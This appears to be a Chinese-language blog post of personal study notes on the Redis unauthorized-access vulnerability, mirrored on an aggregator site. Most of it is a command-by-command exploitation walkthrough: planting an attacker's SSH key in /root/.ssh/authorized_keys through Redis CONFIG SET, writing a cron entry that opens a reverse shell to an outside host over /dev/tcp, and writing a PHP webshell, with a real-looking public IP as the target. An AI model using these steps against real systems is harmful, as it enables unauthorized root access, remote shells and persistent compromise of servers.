0

redies 的个人理解

 2 years ago
source link: https://jiang-niao.github.io/2021/02/19/redies%20%E7%9A%84%E4%B8%AA%E4%BA%BA%E7%90%86%E8%A7%A3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

近期学习笔记

redies 的个人理解

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

利用“公私钥”认证获得root权限

在攻击机中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa

进入.ssh目录,将生成的公钥保存到1.txt:
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
cat 1.txt | redis-cli -h 182.254.220.49 -x set crack

并使用 CONFIG GET dir 命令得到redis备份的路径:
CONFIG GET dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:
CONFIG GET dbfilename
save

攻击机成功登陆到服务器
ssh -i id_rsa [email protected]

利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

在kali攻击机里面监听指定端口
nc -lvnp 8888

向服务器写入文件
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

写入webshell

写入文件到/tmp目录
config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

写入webshell的时候,可以使用:
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK